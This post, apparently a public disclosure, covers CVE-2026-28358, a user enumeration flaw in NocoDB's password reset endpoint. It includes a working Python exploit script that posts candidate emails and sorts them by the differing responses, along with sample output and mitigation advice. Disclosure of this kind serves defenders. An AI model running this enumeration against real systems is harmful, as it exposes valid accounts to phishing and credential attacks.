NocoDB ≤ 0.301.2 User Enumeration via Password Reset Endpoint (CVE-2026-28358)
This post contains technical details about security vulnerabilities and exploit development for educational and research purposes only. All techniques described are intended for use in authorized penetration testing, CTF competitions, or controlled lab environments.
Unauthorized use of these techniques against systems you do not own or have explicit written permission to test is illegal and unethical. Always obtain proper authorization before testing.
Disclosure status: Full Disclosure
CVE references link to public NVD / vendor advisories. Proof-of-concept code, where included, is provided after patch availability for defensive research purposes.
Content (Markdown)
NocoDB User Enumeration via Password Reset
CVE-2026-28358
A user enumeration vulnerability exists in NocoDB versions ≤ 0.301.2 within the password reset endpoint.
The endpoint:
/api/v2/auth/password/forgot
returns different responses depending on whether the submitted email address exists in the system.
This allows an attacker to identify valid registered users.
Vulnerability Details
| Field | Value |
|---|---|
| CVE | CVE-2026-28358 |
| Severity | Medium |
| CVSS | 5.3 |
| Vector | AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N |
| Affected Versions | ≤ 0.301.2 |
| Fixed Version | 0.301.3 |
| Platform | Linux / Windows / Docker |
| Category | Information Disclosure |
Root Cause
The password reset endpoint returns different responses depending on whether the submitted email exists.
Example behavior:
Registered Email
HTTP 200
Password reset email sent
Unregistered Email
HTTP 400
Your email has not been registered.
````
Because of this difference, attackers can determine whether a given email exists in the system.
---
## Impact
An attacker can enumerate valid user accounts which may later be used for:
- Credential stuffing attacks
- Password spraying
- Targeted phishing attacks
- Account takeover attempts
---
## Proof of Concept
The following Python script demonstrates the enumeration issue.
### Exploit Script
```python id="1aw5sh"
#!/usr/bin/env python3
# Exploit Title: NocoDB User Enumeration via Password Reset Endpoint
# CVE: CVE-2026-28358
# Date: 2026-03-04
# Exploit Author: Mohammed Idrees Banyamer
# Author Country: Jordan
# Instagram: @banyamer_security
# Author GitHub:
# Vendor Homepage: https://nocodb.com
# Software Link: https://github.com/nocodb/nocodb
# Affected: NocoDB <= 0.301.2
# Tested on: NocoDB 0.301.0 / 0.301.2
# Category: Webapps
# Platform: Linux / Windows / Docker
# Exploit Type: Remote
# CVSS: 5.3 (AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N)
# Description: Unauthenticated user enumeration via timing / response difference
# in the password reset endpoint (/api/v2/auth/password/forgot).
# Registered emails return success message while unregistered ones
# return specific error "Your email has not been registered."
# Fixed in: 0.301.3
# Usage:
# python3 exploit.py
#
# Examples:
# python3 exploit.py
#
# Options:
# -- Modify the base_url and emails list below
#
# Notes:
# • Only for authorized security testing / educational purposes
# • Do not use against systems you do not own or have explicit permission to test
#
# How to Use
#
# Step 1: Update base_url to point to your target NocoDB instance
# Step 2: Modify or replace the emails list with targets to check
#
# ────────────────────────────────────────────────
import requests
import json
base_url = "http://<NOCODB_HOST>/api/v2/auth/password/forgot"
emails = [
"registered@example.com",
"unregistered@example.com",
"admin@company.com",
"user@company.com"
]
headers = {
"Content-Type": "application/json"
}
for email in emails:
payload = {
"email": email
}
try:
response = requests.post(base_url, headers=headers, data=json.dumps(payload))
print(f"Email: {email}")
print(f"Status Code: {response.status_code}")
print(f"Response: {response.text}")
if "Your email has not been registered" in response.text:
print("Result: Unregistered\n")
else:
print("Result: Registered (or success message)\n")
except Exception as e:
print(f"Error for {email}: {e}\n")
````
---
## Example Usage
Edit the script and modify:
base_url
emails
Then run:
```bash
python3 exploit.py
Example Output
Email: admin@company.com
Status Code: 200
Response: Password reset email sent
Result: Registered
Email: fake@example.com
Status Code: 400
Response: Your email has not been registered.
Result: Unregistered
Mitigation
Users should upgrade immediately:
NocoDB >= 0.301.3
Developers should ensure that password reset endpoints return generic responses regardless of whether an account exists.
Example secure response:
If the email exists, a password reset link has been sent.
This prevents attackers from determining whether an account is valid.
References
Author
Mohammed Idrees Banyamer
Jordan
Instagram: @banyamer_security
Disclosure: Full Disclosure
Comments
No comments yet. Be the first.
Leave a Comment